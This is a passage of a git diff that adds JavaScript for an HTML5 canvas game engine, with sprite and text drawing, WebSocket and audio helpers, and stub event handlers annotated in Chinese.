gameabc_restore(obj, ctx) { + if (gameabc_back == 1) {} + ;gameabc_back = 0; +} +;function gameabc_charge(obj, ctx) { + if (obj.arge != 0) { + gameabc_toclient(1, obj, ctx); + ctx.rotate(obj.arge * Math.PI / 180); + gameabc_toclient(0, obj, ctx); + } + ;if (obj.ap != 255) { + if (obj.ap <= 0) { + ctx.globalAlpha = 0; + } else { + if (obj.ap >= 255) { + ctx.globalAlpha = 1; + } else { + ctx.globalAlpha = obj.ap / 255; + } + ; + } + ; + } + ;if (obj.hu != 0) {} + ;if (obj.scale != 100) { + var t = obj.scale / 100; + gameabc_toclient(1, obj, ctx); + ctx.scale(t, t); + gameabc_toclient(0, obj, ctx); + } + ;switch (obj.jx) { + case 1: + gameabc_toclient(1, obj, ctx); + ctx.scale(1, -1); + gameabc_toclient(0, obj, ctx); + break; + case 2: + gameabc_toclient(1, obj, ctx); + ctx.scale(-1, 1); + gameabc_toclient(0, obj, ctx); + break; + } + ; +} +;function bw_method(ctx, image, pc, x, y) { + if (!pc) { + pc = 3; + } + ;ctx.save(); + var block, block, white, blue, alpha, len, imageData, average; + len = image.width * image.height; + ctx.drawImage(image, x, y); + imageData = ctx.getImageData(x, y, image.width, image.height); + for (var i = 0; i < len * 4; i += 4) { + block = imageData.data[i]; + white = imageData.data[i + 1]; + blue = imageData.data[i + 2]; + alpha = imageData.data[i + 3]; + average = Math.floor((block + white + blue) / pc); + imageData.data[i] = average; + imageData.data[i + 1] = average; + imageData.data[i + 2] = average; + } + ;ctx.putImageData(imageData, x, y); + ctx.restore(); +} +;function ifast_input() { + inputdiv = document.createElement("div"); + inputdiv.setAttribute("id", "inputdiv"); + inText = document.createElement("input"); + inText.setAttribute("type", "text"); + inText.style.width = "50px"; + inDiv.appendChild(inText); +} +;function ifast_ws(id) { + this.tcpid = id; + this.father = ifast_wss.list; + this.isopen = 0; + this.isdiscon = 0; +} +;ifast_ws.prototype.onopen = function(msg) { + if (ifast_wss.list[this.tcpid] != undefined) { + ifast_wss.list[this.tcpid].isopen = 1; + } + ;if (gameabc_face.tcpconnected) { + gameabc_face.tcpconnected(this.tcpid, msg); + } + ; +} +; +ifast_ws.prototype.onmessage = function(msg) { + if (gameabc_face.tcpmessage) + gameabc_face.tcpmessage(this.tcpid, msg.data); +} +; +ifast_ws.prototype.onclose = function() { + if (ifast_wss.list[this.tcpid] != undefined) { + ifast_wss.list[this.tcpid].isopen = 0; + ifast_wss.list[this.tcpid].isdiscon = 1; + } + ;if (gameabc_face.tcpdisconnected) + gameabc_face.tcpdisconnected(this.tcpid); +} +; +ifast_ws.prototype.onerror = function(msg) { + if (ifast_wss.list[this.tcpid] != undefined) { + ifast_wss.list[this.tcpid].isopen = 0; + ifast_wss.list[this.tcpid].isdiscon = 1; + } + ;if (gameabc_face.tcperror) + gameabc_face.tcperror(this.tcpid, msg.Data); +} +; +ifast_wss.open = function(tcpid, weburl) { + if (this.list[tcpid] == undefined) { + var ifast_ws1 = new ifast_ws(tcpid); + this.list[tcpid] = ifast_ws; + if (weburl.substring(0, 2) != "ws") { + weburl = "ws://" + weburl; + } + ;this.list[tcpid].tcp = new WebSocket(weburl); + this.list[tcpid].tcp.onopen = ifast_ws1.onopen; + this.list[tcpid].tcp.onclose = ifast_ws1.onclose; + this.list[tcpid].tcp.onmessage = ifast_ws1.onmessage; + this.list[tcpid].tcp.onerror = ifast_ws1.onerror; + this.list[tcpid].tcp.tcpid = tcpid; + this.list[tcpid].tcp.father = ifast_wss.list; + this.list[tcpid].tcp.isopen = 0; + this.list[tcpid].tcp.isdiscon = 0; + } + ;return this.list[tcpid]; +} +; +ifast_wss.close = function(tcpid) { + if (this.list[tcpid] != undefined) { + this.list[tcpid].tcp.close(); + } +} +; +ifast_wss.send = function(tcpid, msg) { + if (this.list[tcpid] != undefined) { + this.list[tcpid].tcp.send(msg); + } +} +; +var ifast_wav = ifast_wav || {}; +ifast_wav.list = new Array(); +function wavload() { + this.loop = this.audios[id].isloop == 1; + this.play(); +} +;ifast_wav.getend = function(id, isloop1) { + var a = 0; + var audio = this.getAudio(id, isloop1); + if (audio != null) { + a = audio.ended; + } + ;return a; +} +; +ifast_wav.end = function(id, isloop1) { + var audio = this.getAudio(id, isloop1); + if (audio != null) { + this.audios[id].src = ""; + } +} +; +ifast_wav.start = function(id, isloop1) { + var audio = this.getAudio(id, isloop1); + if (audio != null) { + this.audios[id].src = gameabc_face.wavpath + "/" + id; + } + ; +} +; +ifast_wav.ready = function(id, isloop1) { + var a = 0; + var audio = this.getAudio(id, isloop1); + if (audio != null) { + a = audio.readyState; + } + ;return a; +} +; +ifast_wav.loadall = function(files) { + var strs = new Array(); + strs = files.split(";"); + var i; + if (strs.length <= 0) { + return; + } + ;for (i = 0; i < strs.length; i++) { + ifast_wav.getAudio(strs[i]); + } +} +; +ifast_wav.getAudio = function(id, isloop1) { + if (this.audios == undefined) + this.audios = {}; + if (this.audios[id] == undefined) { + this.audios[id] = new Audio(); + this.audios[id].ok = 0; + this.audios[id].ok = 0; + this.audios[id].addEventListener("canplaythrough", function() { + this.ok = 1; + }, false); + this.audios[id].src_pre = gameabc_face.wavpath + "/" + id; + this.audios[id].src = gameabc_face.wavpath + "/" + id; + } + ;return this.audios[id]; +} +; +ifast_wav.playwav = function(id, isloop1) { + audio = this.getAudio(id, isloop1); + if (audio != null) { + if (isloop1 < 0) { + audio.pause(); + return; + } + ;if (isloop1 == 1) { + audio.loop = "loop"; + } else { + audio.loop = ""; + } + ;if (audio.ok == 1) { + audio.currentTime = 0; + audio.autoplay = "true"; + audio.play(); + } else { + audio.autoplay = "true"; + audio.play(); + } + ;if (audio.loop == true) { + audio.addEventListener('ended', function() { + this.currentTime = 0; + this.autoplay = "true"; + this.play(); + }, false); + } + } + ; +} +; +function gameabc() { + this.gameabc_open = function(image1, x, y, z) { + this.startupGameObject(x, y, z); + this.image = image1; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; +} +;gameabc.prototype = new VisualGameObject; +function gameabc_img() { + this.gameabc_open = function(image, x, y, z) { + this.startupGameObject(x, y, z); + this.image = image; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + if (this.image == null) { + return; + } + ;if (this.image.ok == 0) { + return; + } + { + if (dfwusercavans != 1) { + this.drawimage = this.image; + } else { + this.drawimage = gameabc_face.createcanvas(this.image); + } + } + ;gameabc_save(this, context); + try{//-------------xwb------------ + + gameabc_charge(this, context); + var r; + if (this.uidata.FrameStyle == 0) { + if (this.uidata.L9 == 0) { + r = gameabc_getrect2(this.recid, this.frame); + context.drawImage(this.drawimage, r.x, r.y, r.w, r.h, this.x - xScroll, this.y - yScroll, this.w, this.h); + } else { + r = gameabc_getrect2(this.recid, 1); + yScroll = 0; + xScroll = 0; + context.drawImage(this.drawimage, 0, 0, this.uidata.L9, this.uidata.T9, this.x - xScroll, this.y - yScroll, this.uidata.L9, this.uidata.T9); + context.drawImage(this.drawimage, this.uidata.L9, 0, r.w - this.uidata.L9 - this.uidata.R9, this.uidata.T9, this.x + this.uidata.L9 - xScroll, this.y - yScroll, this.w - this.uidata.L9 - this.uidata.R9, this.uidata.T9); + context.drawImage(this.drawimage, r.w - this.uidata.R9, 0, this.uidata.R9, this.uidata.T9, this.x + this.w - this.uidata.R9 - xScroll, this.y - yScroll, this.uidata.R9, this.uidata.T9); + context.drawImage(this.drawimage, 0, r.h - this.uidata.B9, this.uidata.L9, this.uidata.B9, this.x - xScroll, this.y + this.h - this.uidata.B9 - yScroll, this.uidata.L9, this.uidata.B9); + context.drawImage(this.drawimage, this.uidata.L9, r.h - this.uidata.B9, r.w - this.uidata.L9 - this.uidata.R9, this.uidata.B9, this.x + this.uidata.L9 - xScroll, this.y + this.h - this.uidata.B9 - yScroll, this.w - this.uidata.L9 - this.uidata.R9, this.uidata.B9); + context.drawImage(this.drawimage, r.w - this.uidata.R9, r.h - this.uidata.B9, this.uidata.R9, this.uidata.B9, this.x + this.w - this.uidata.R9 - xScroll, this.y + this.h - this.uidata.B9 - yScroll, this.uidata.R9, this.uidata.B9); + context.drawImage(this.drawimage, 0, this.uidata.T9, this.uidata.L9, r.h - this.uidata.B9 - this.uidata.T9, this.x - xScroll, this.y + this.uidata.T9 - yScroll, this.uidata.L9, this.h - this.uidata.B9 - this.uidata.T9); + context.drawImage(this.drawimage, this.uidata.L9, this.uidata.T9, r.w - this.uidata.L9 - this.uidata.R9, r.h - this.uidata.B9 - this.uidata.T9, this.x + this.uidata.L9 - xScroll, this.y + this.uidata.T9 - yScroll, this.w - this.uidata.L9 - this.uidata.R9, this.h - this.uidata.B9 - this.uidata.T9); + context.drawImage(this.drawimage, r.w - this.uidata.R9, this.uidata.T9, this.uidata.R9, r.h - this.uidata.B9 - this.uidata.T9, this.x + this.w - this.uidata.R9 - xScroll, this.y + this.uidata.T9 - yScroll, this.uidata.R9, this.h - this.uidata.B9 - this.uidata.T9); + } + } else { + var len1 = this.caption.length; + var dolen = 0; + var doframe; + var r_tempw = this.w / len1; + for (dolen = 0; dolen < len1; dolen++) { + doframe = this.caption[dolen].charCodeAt(); + if (doframe > 60) { + doframe = doframe - 87; + } else { + doframe = doframe - 47; + } + ;r = gameabc_getrect2(this.recid, doframe); + context.drawImage(this.drawimage, r.x, r.y, r.w, r.h, this.x + dolen * r_tempw - xScroll, this.y - yScroll, r_tempw, this.h); + } + } + ;if (this.color != 0) { + gameabc_face.zz2d.clearRect(0, 0, 1, 1); + gameabc_face.zz2d.fillStyle = this.color; + gameabc_face.zz2d.fillRect(0, 0, 1, 1); + context.drawImage(gameabc_face.zz_canvas, 0, 0, 1, 1, this.x, this.y, this.w, this.h); + } + }catch(e){ + + } + ;gameabc_restore(this, context); + } + ; +} +;gameabc_img.prototype = new VisualGameObject; +function gameabc_imgtxt() { + this.gameabc_open = function(txt, x, y, z, hsize, wsize) { + this.startupGameObject(x, y, z); + this.caption = txt; + this.h = hsize; + if (wsize) + this.w = wsize; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + if (this.uidata.GameTxtStyle > 0) { + return; + } + ;gameabc_save(this, context); + gameabc_charge(this, context); + context.textBaseline = "top"; + context.fillStyle = gameabc_GameTxt.GameTxtList[this.frame].Color; + context.font = 'lighter ' + this.h + 'px Arial'; + this.caption = gameabc_GameTxt.GameTxtList[this.frame].Text; + if (this.uidata.GameTxtStyle == 0) { + gameabc_drawtext = this.caption; + } else { + gameabc_drawtext = gameabc_password.substring(0, this.caption.length + 1); + } + ;if (this.w > 0) { + context.fillText(gameabc_drawtext, this.x - xScroll, this.y - yScroll, this.w); + } else { + context.fillText(gameabc_drawtext, this.x - xScroll, this.y - yScroll); + } + ;gameabc_restore(this, context); + } +} +;gameabc_imgtxt.prototype = new VisualGameObject; +function draw2(obj, context, ctx) { + context.textBaseline = "top"; + var h = obj.h * iui.ratio; + context.font = 'lighter ' + h + 'px Arial'; + var w = context.measureText(obj.caption).width; + context.clearRect(0, 0, w, h); + if (obj.uidata.BackColorA != 0) { + context.fillStyle = obj.uidata.BackColor; + context.fillRect(0, 0, w, h); + } + ;context.fillStyle = obj.uidata.FontColor; + context.fillText(obj.caption, 0, 0); + ctx.drawImage(iui.test, 0, 0, w, h, obj.x, obj.y, w / iui.ratio, obj.h); +} +;function gameabc_txt() { + this.gameabc_open = function(txt, x, y, z, hsize, wsize) { + this.startupGameObject(x, y, z); + this.caption = txt; + this.h = hsize; + if (wsize) + this.w = wsize; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + if (this.uidata.GameTxtStyle > 0) { + return; + } + ;context.textBaseline = "top"; + if (this.uidata.BackColorA != 0) { + context.fillStyle = this.uidata.BackColor; + context.fillRect(this.x, this.y, this.w, this.h); + } + ;context.fillStyle = this.uidata.FontColor; + context.font = 'lighter ' + this.h + 'px Arial'; + if (this.caption.indexOf("\n") > 0) { + var strs = new Array(); + strs = this.caption.split("\n"); + if (this.uidata.BackColorA != 0) { + context.fillStyle = this.uidata.BackColor; + context.fillRect(this.x, this.y, this.w, this.h * strs.length); + } + ;for (var i = 0; i < strs.length; i++) { + context.fillText(strs[i], this.x - xScroll, this.y - yScroll + this.h * i); + } + ;return; + } + ;context.fillText(this.caption, this.x - xScroll, this.y - yScroll); + } +} +;gameabc_txt.prototype = new VisualGameObject; +function Div(exp1, exp2) { + var n1 = Math.round(exp1); + var n2 = Math.round(exp2); + var rslt = n1 / n2; + if (rslt >= 0) { + rslt = Math.floor(rslt); + } else { + rslt = Math.ceil(rslt); + } + ;return rslt; +} +;function gameabc_list() { + this.gameabc_open = function(ObjectID, x, y, z, hsize, wsize) { + this.startupGameObject(x, y, z); + this.h = hsize; + if (wsize) + this.w = wsize; + this.ObjectType = 5; + this.objid = ObjectID; + this.offx = 0; + this.offy = 0; + return this; + } + ; + this.setoff = function(offx1, offy1) { + this.offx = offx1; + this.offy = offy1; + } + ; + this.charge = function(x1, y1, w1, h1, offx1, offy1) { + if (x1 == undefined) { + this.charge(this.x, this.y, this.w, this.h, 0, 0); + return; + } + ;var obj = gameabc_Object.ObjectList[this.objid].Property; + this.x = x1; + this.y = y1; + this.w = w1; + this.h = h1; + var Left = x1; + var Top = y1; + var Width = w1; + var Height = h1; + if (offx1 == undefined) {} else { + this.offx = offx1; + this.offy = offy1; + } + ;this.Thick = obj.Thick; + this.ChildEdg = obj.ChildEdg; + this.ChildWidth = obj.ChildWidth; + this.ChildHeight = obj.ChildHeight; + this.ChildThick = obj.ChildThick; + this.ChildOrdStyle = obj.ChildOrdStyle; + if (this.ChildOrdStyle == 0) { + this.cell_width = this.ChildWidth; + this.cell_height = this.ChildHeight; + } + if (this.ChildOrdStyle == 1) { + this.cell_width = Width + (-this.Thick - this.ChildEdg) * 2; + this.cell_height = this.ChildHeight; + } + if (this.ChildOrdStyle == 2) { + this.cell_width = this.ChildWidth; + this.cell_height = Height + (-this.Thick - this.ChildEdg) * 2; + } + ;this.red_w = Width - (this.Thick * 2) - (this.ChildEdg * 2); + this.red_h = Height - (this.Thick * 2) - (this.ChildEdg * 2); + this.red_num_w = this.Div(this.red_w, this.cell_width); + this.red_num_h = this.Div(this.red_h, this.cell_height); + this.ys_x = Left + this.Thick + this.ChildEdg; + this.ys_y = Top + this.Thick + this.ChildEdg; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + + var Left = this.x; + var Top = this.y; + var Width = this.w; + var Height = this.h; + context.fillStyle = "blue"; + context.fillRect(this.x, this.y, this.w, this.h); + context.fillStyle = "white"; + context.fillRect(Left + this.Thick, Top + this.Thick, Width - this.Thick * 2, Height - this.Thick * 2); + context.fillStyle = "red"; + for (var i = 0; i < this.red_num_w; i++) { + for (var j = 0; j < this.red_num_h; j++) { + this.x0 = i * this.cell_width + this.offx; + this.y0 = j * this.cell_height + this.offy; + context.fillRect(this.ys_x + this.x0, this.ys_y + this.y0, this.cell_width, this.cell_height); + } + } + ;context.fillStyle = "blue"; + for (var i = 0; i < this.red_num_w; i++) { + for (var j = 0; j < this.red_num_h; j++) { + this.x0 = i * this.cell_width + this.offx; + this.y0 = j * this.cell_height + this.offy; + context.fillRect(this.ys_x + this.ChildThick + this.x0, this.ys_y + this.ChildThick + this.y0, this.cell_width - (this.ChildThick * 2), this.cell_height - (this.ChildThick * 2)); + } + } + ;var num = 0; + for (var i = 0; i < this.red_num_h; i++) { + for (var j = 0; j < this.red_num_w; j++) { + num++; + } + } + ;context.stroke(); + } +} +;gameabc_list.prototype = new VisualGameObject; +gameabc_list.prototype.Div = function(exp1, exp2) { + var n1 = Math.round(exp1); + var n2 = Math.round(exp2); + var rslt = n1 / n2; + if (rslt >= 0) { + rslt = Math.floor(rslt); + } else { + rslt = Math.ceil(rslt); + } + ;return rslt; +} +; +function getlength(str) { + var realLength = 0; + len = str.length; + charCode = -1; + for (var i = 0; i < len; i++) { + charCode = str.charCodeAt(i); + if (charCode > 0 && charCode <= 128) + realLength += 1; + else + realLength += 2; + } + ;return realLength; +} +;var gameabc_password = "************************************"; +var gameabc_drawtext = ""; +function gameabc_panle() { + this.gameabc_open = function(ObjectID, x, y, z, wsize, hsize) { + this.startupGameObject(x, y, z); + this.h = hsize; + if (wsize) + this.w = wsize; + this.ObjectType = 6; + this.objid = ObjectID; + this.offx = 0; + this.offy = 0; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + return; + context.lineWidth = 1; + context.strokeStyle = ifast_jb; + context.strokeRect(this.x, this.y, this.w, this.h); + } + ; +} +;gameabc_panle.prototype = new VisualGameObject; + + + + diff --git a/games/games/Projects/clinet/gamehall/js/gamehall3_Event.js b/games/games/Projects/clinet/gamehall/js/gamehall3_Event.js new file mode 100644 index 0000000..630e0d8 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/gamehall3_Event.js @@ -0,0 +1,7 @@ + + +gameabc_face.mouseup_4 = function(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2) +{ +//请在下面输入您的代码 + +}; diff --git a/games/games/Projects/clinet/gamehall/js/gamehall_Event.js b/games/games/Projects/clinet/gamehall/js/gamehall_Event.js new file mode 100644 index 0000000..ee44548 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/gamehall_Event.js @@ -0,0 +1 @@ +//精灵事件单元... diff --git a/games/games/Projects/clinet/gamehall/js/gamemain.js b/games/games/Projects/clinet/gamehall/js/gamemain.js new file mode 100644 index 0000000..9732eb7 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/gamemain.js @@ -0,0 +1,268 @@ +var gameabc_face = gameabc_face||{}; +{ +gameabc_face.tag=12; //定义你的游戏全局内存 +gameabc_face.tag1=123;//定义你的游戏全局内存 +gameabc_face.tag2=123;//定义你的游戏全局内存 +gameabc_face.tag3=123;//定义你的游戏全局内存 +gameabc_face.dfwgao=1; +} + +gameabc_face.gamestart=function(gameid) +{ +//游戏初始化代码 + + Logic.AppStart(); + +}; + +gameabc_face.ani_doend=function(id,sx,count,allend) +{ + //logmessage(id+"/"+sx+"/"+count+"/"+allend); + //play_ani(0,2,18,50,200,0,1000,0,0,0,0,6000,1);//主动关闭 + GameUI.utlani_doend(id,sx,count,allend); + gameCombat.utlani_doend(id,sx,count,allend); + gamehall_GameUI.utlani_doend(id,sx,count,allend); +}; + +gameabc_face.box_doend=function(id,sx,timelen) +{ + //play_box 结束事件 + //showmessage("box_doend:"+id+"/"+sx+"/"+timelen); + //logmessage("box_doend:"+id+"/"+sx+"/"+timelen); +}; + +gameabc_face.onloadurl=function(recid,rectype,url,error,count,len) +{ + + GameUI.onloadurl(recid,rectype,url,error,count,len); + gamehall_GameUI.onloadurl(recid,rectype,url,error,count,len); + +}; + +gameabc_face.chongzhi=function(userid,zt,data) +{ +//游戏接口代码 + +}; + +gameabc_face.onresize=function(pmw/*屏幕宽*/,pmh/*屏幕宽*/,sjweww/*设计宽*/,sjnewh/*设计宽*/,nweww/*显示宽*/,newh/*显示高*/) +{ + + //屏幕变化 + // 在此调整 列表控件的宽高和区域 不是整体缩放 + //logmessage("onresize:"+pmw+"/"+pmh+"/"+sjweww+"/"+sjnewh+"/"+nweww+"/"+newh); +}; + +gameabc_face.gamebegindraw=function(gameid, spid, times, timelong) +{ + //更新开始代码 + GameUI.utlgamebegindraw(gameid, spid, times, timelong); + gamehall_GameUI.utlgamebegindraw(gameid, spid, times, timelong); +}; +gameabc_face.gameenddraw=function(gameid, spid, times, timelong) +{ +//更新完成代码 + GameUI.gameenddraw(gameid, spid, times, timelong); +}; + +gameabc_face.mousedown=function(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6) +{ + + //点击代码 + GameUI.utlmousedown(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6); + Game_Modify.utlmousedown(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6); + gameCombat.utlmousedown(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6); + gamehall_GameUI.utlmousedown(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6); +}; + +gameabc_face.mousedown_nomove=function(gameid, spid, downx, downy, timelong, no1, no2, no3, no4, no5) +{ +//点击代没移动代码 + GameUI.utlmousedown_nomove(gameid, spid, downx, downy, timelong, no1, no2, no3, no4, no5); + Game_Modify.utlmousedown_nomove(gameid, spid, downx, downy, timelong, no1, no2, no3, no4, no5); + gamehall_GameUI.utlmousedown_nomove(gameid, spid, downx, downy, timelong, no1, no2, no3, no4, no5); +}; + +gameabc_face.mouseup=function(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2) +{ +//点击弹起代码 +//可以通过spid_down和spid_up 的比较 来判断是 点击还是 移动 + GameUI.utlmouseup(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2); + Game_Modify.mouseup(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2); + gameCombat.utlmouseup(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2); + gamehall_GameUI.utlmouseup(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2); +}; + +gameabc_face.mousemove=function(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1) +{ +//点击后移动代码 + + + GameUI.utlmousemove(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1); + Game_Modify.utlmousemove(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1); + gameCombat.utlmousemove(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1); + gamehall_GameUI.utlmousemove(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1); +}; + +gameabc_face.gamemydraw=function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7) +{ + //每个精灵更新绘画代码 + GameUI.utlgamemydraw(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); + Game_Modify.gamemydraw(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); + gameCombat.utlgamemydraw(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); + gamehall_GameUI.utlgamemydraw(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); +}; + +gameabc_face.gamemydrawbegin=function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7) +{ +//每个精灵更新前绘画代码 + GameUI.utlgamemydrawbegin(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); + Game_Modify.utlgamemydrawbegin(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); + gameCombat.utlgamemydrawbegin(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); + gamehall_GameUI.utlgamemydrawbegin(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7); +}; + +gameabc_face.ontimer= function(gameid, spid, /* 本次间隔多少次了 */ times, /* 本次间隔多久 */ timelong,/* 开启后运行多少次了 */ alltimes){ + + + GameUI.utlontimer(gameid, spid, /* 本次间隔多少次了 */ times, /* 本次间隔多久 */ timelong,/* 开启后运行多少次了 */ alltimes); + gamehall_GameUI.utlontimer(gameid, spid, /* ???????? */ times, /* ?????? */ timelong,/* ????????? */ alltimes); +}; + +gameabc_face.tcpconnected=function(tcpid) +{ + +}; +gameabc_face.tcpmessage=function(tcpid,data) +{ +; + +}; + +gameabc_face.tcpdisconnected=function(tcpid) +{ + + + +}; +gameabc_face.tcperror=function(tcpid,data) +{ + + +}; + +gameabc_face.httpmessage=function(myid,url,data) +{ + + +}; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 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